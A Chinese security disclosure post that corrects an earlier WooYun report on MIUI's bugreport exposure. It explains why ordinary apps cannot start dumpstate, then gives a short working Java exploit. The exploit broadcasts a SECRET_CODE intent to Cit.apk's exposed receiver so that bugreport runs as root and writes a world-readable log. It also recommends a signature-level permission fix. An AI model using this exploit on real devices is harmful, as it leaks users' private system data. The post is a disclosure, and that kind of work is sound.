之前在乌云发布的MIUI数据泄露漏洞之一(WooYun-2012-08222),其中的“详细说明”部分,存在部分错误。这个漏洞涉及bugreport,我错误地指出在shell下可以调用的bugreport,第三方应用软件也可以随便调用,这是错误的。由此在微博上和回复里引起对Android一般安全的讨论,向大家表示歉意。

此外,需要强调的是,由于Cit.apk的组件暴露,在MIUI系统下,该漏洞依然可以利用。

以下是详细的技术分析,包括我犯的错误,以及在MIUI下的利用方法。

bugreport的调用权限分析

bugreport在adb shell下即可调用并正确输出结果,但如果在应用软件中以普通权限调用Runtime.getRuntime().exec(),无论是执行”bugreport > /sdcard/report.txt”还是”bugreport”并读取返回的process的getInputStream(),均会通过stderr返回错误提示”Failed to connect to dumpstate service”。

查看bugreport的源码。问题出在这里:

/* start the dumpstate service */                                                                                                    
property_set( "ctl.start" , "dumpstate" );

对普通的应用软件,在自己的UID下,property_set()会失败,导致dumpstate服务没有启动,因此bugreport等待十秒后出错退出。

需要指出几点:

1. bugrepot实际是启动dumpstate服务,并通过本地socket连接读取它的输出;

2. dumpstate的正确执行需要root权限,主要是第一步搜集dalvik vm的trace信息时,需要先将/data/anr/traces.txt备份,dump生成trace数据后再恢复。这两步都需要root。

3. 调用property_set()通常需要root或system这两个UID才能成功。但这里有一个例外规则:如果是启动dumpstate,有shell或log权限就可以了。参见system/core/init/property_service.c中的control_perms。

因此,在shell下可以成功调用bugreport,然后启动以root权限执行的dumpstate服务,从本地socket读取其输出的数据。但以普通APP的权限调用bugreport会失败。我在WooYun-2012-08222中所说的第二种利用方法无效,也就是说在一般的Android系统上bugreport的存在不会向第三方应用软件泄露系统数据。

MIUI漏洞的利用方法

然而,正如我在至少在MIUI中WooYun-2012-08222中所说,还有一种方法获得bugreport的输出结果。我们来看一下Cit.apk的manifest:

< receiver android:name = ".CitBroadcastReceiver" >                                                                                  
     < intent-filter >
         < action android:name = "android.provider.Telephony.SECRET_CODE" />
         < data android:scheme = "android_secret_code" android:host = "64663" />
         < data android:scheme = "android_secret_code" android:host = "284" />
         < data android:scheme = "android_secret_code" android:host = "6564" />
     </ intent-filter >
</ receiver >

任何第三方应用软件都可以通过发送一个action为android.provider.Telephony.SECRET_CODE的intent,来使得这个receiver代码被执行。如果附加上android_secret_code://284的数据,就进入了bugreport分支。这一利用代码如下:

Intent intent = new Intent();
intent.setAction( "android.provider.Telephony.SECRET_CODE" );
intent.setData(Uri.parse( "android_secret_code://284" ));
sendBroadcast(intent);

我们来看一下com.miui.cit.CitBroadcastReceiver这个接收器的代码片段:

if ( "284" .equals(paramIntent.getData().getHost())) {
     this .m_logFileName = CitUtils.getLogFilePath( "bugreport" );
     Context localContext1 = this .mContext;
     Context localContext2 = this .mContext;
     Object[] arrayOfObject = new Object[ 1 ];
     arrayOfObject[ 0 ] = this .m_logFileName;
     Toast.makeText(localContext1, localContext2.getString( 2130968768 , arrayOfObject), 1 ).show();
     asyncExecute( new Runnable() {
       public void run() {
         try {
           String str = CitBroadcastReceiver.TAG;
           String[] arrayOfString = new String[ 3 ];
           arrayOfString[ 0 ] = "bugreport" ;
           arrayOfString[ 1 ] = ">" ;
           arrayOfString[ 2 ] = CitBroadcastReceiver.access$ 100 (CitBroadcastReceiver. this );
           CitUtils.rootExecProgram(str, arrayOfString, true );
         }
         catch (InterruptedException localInterruptedException) {
             localInterruptedException.printStackTrace();
         }
         catch (IOException localIOException) {
             localIOException.printStackTrace();
         }
       }
     });
   }

也就是说,这个receiver会以root权限调用bugreport,并将结果保存至/sdcard/MIUI/debug_log/bugreport--.log文件中,后者可以被任意第三方应用软件读取。总结起来,就是任意第三方应用软件可以触发这段代码执行,然后读取到它的输出。

关于这类由于组件暴露导致的权限绕过,学术上叫做permission redelegation问题。修复的方法是,对receiver的调用要求signature级别的权限。

再次对我的错误表示道歉。以后的可能漏洞,我会做严格地验证,先把利用代码跑通,再上报。

关于MIUI中cit.apk暴露bugreport的漏洞相关推荐

  1. 如何在Eclipse中构建APK文件?

    当我使用Eclipse开发项目时, APK文件会在模拟器上运行. 但我想将我的应用程序上传到真实设备. 有没有工具来构建一个APK文件? 这个过程是什么? 或者是否可以从模拟器中提取APK文件? #1 ...

  2. Android中关于APK文件的下载、安装和卸载

    如果我们想开发一款App,而这款App的需求中有对Apk文件的下载.安装和卸载功能的话(就像豌豆荚,当然功能不会那强大,因为强大的功能背后总是一些比较NB的技术在支持),那么这篇博客还是比较适合你的. ...

  3. Google play中下载apk

    在 Google play中下载apk:先在Google play中找到该apk,再去找APK downloader(https://www.allfreeapk.com/),Google play的 ...

  4. 手机内存中安装apk

    在工程某位置如3rdparty/cmcc/CMCC/special/新建一个文件夹如mmapp 并在当前目录下修改build.sh ... function my_local_install() { ...

  5. 批量提取 data/app目录中的apk文件

    我的手机是user版本,data/app目录不能通过adb shell ls读取. $ adb shell ls /data/app ls: /data/app: Permission denied ...

  6. 安卓仿苹果音量调节_android自定义view仿照MIUI中音量控制效果

    先看效果图: 这就是miui中的音量效果图,实现思路是自定义视图,绘制圆环,然后设置进度显示. 核心代码在onDraw中实现如下: @Override protected void onDraw(Ca ...

  7. 在命令行中查看apk的签名信息

    在命令行中查看apk的签名信息,命令如下: keytool -list -printcert -jarfile app.apk 会在命令行打印出类似如下的信息: 签名者 #1: 签名: 所有者: CN ...

  8. 【Android安全】从xapk中提取apk并进行重命名

    关于xapk格式 XAPK文件是由APKPure首创的. 它是一种文件扩展格式,包含了单独的APK文件和OBB cache assets文件.这种格式节省了文件大小以助于开发者能够在最大限制100 M ...

  9. android神隐模式,涨姿势!MIUI 中竟然有这么多隐藏功能

    [IT168 评测]从最初版本的版本开始,MIUI 就一直以功能丰富.实用著称,拥有众多贴心的设计.随着不断的优化和功能的累积,其实在当前版本的 MIUI 中,有很多功能并没有被大家发现和使用.那现在 ...

  10. android手机隐藏功能游戏,涨姿势!MIUI中竟然有这么多隐藏功能

    [IT168 评测]从最初版本的版本开始,MIUI就一直以功能丰富.实用著称,拥有众多贴心的设计.随着不断的优化和功能的累积,其实在当前版本的MIUI中,有很多功能并没有被大家发现和使用.那现在,我就 ...

最新文章

  1. 我学员的一个问题及其我对之的解答,关于lr返回值问题
  2. Oracle数据库优化器的优化方式
  3. 网络原理题+复习资料
  4. 2019蓝桥杯省赛---java---B---7(外卖店优先级)
  5. B程序员:讲述三年计算机学习辛酸史
  6. 无孔不入的微软---史前恐龙
  7. jinja Import
  8. Cookie和Session实现记住我的功能
  9. python第五十二课--自定义异常类
  10. PyQt5实现局域网聊天工具
  11. STM8L中断线和中断端口使用方法
  12. 思科、华为等四大厂商网络工程师面试题汇总+解析(第1期)
  13. android麦克风设置在哪,手机麦克风设置实用教程
  14. IAR Systems 历史版本下载地址
  15. 为选区添加描边_ps怎么给选区加上虚线描边
  16. [原创]UMail for linux邮件服务器备份/还原邮件数据与数据库
  17. Python print() 函数,在同一行打印
  18. svchost.exe占网速的解决办法
  19. 温莎大学的计算机科学,温莎大学荣誉计算机CP科学专业本科.pdf
  20. chrome插件莫名消失【已解决】

热门文章

  1. 【错误处理】Laravel报错:Class ‘Mews\Captcha\CaptchaServiceProvider‘ not found
  2. FPGA——同步转换——FPGA对输入信号的处理
  3. html5中属性含义,全面解析HTML5中的标准属性与自定义属性
  4. 计算机网络管理(第三版)雷震甲 课后习题及测试试题与答案
  5. Java学习之Xml系列七:Dom4j——专题2:基于Xpath的若干复杂例子
  6. 第十二章 梁山好汉中谁最圆满
  7. 性侵犯幸存者将使用加密货币进行匿名众筹
  8. canvas画布绘制矩形时形状被拉伸
  9. 散射噪声仿真理论和实践(理论篇1)
  10. Python循环题型(1.1~100求和 2.判断素数 3.猜数字游戏 4.打印九九表 )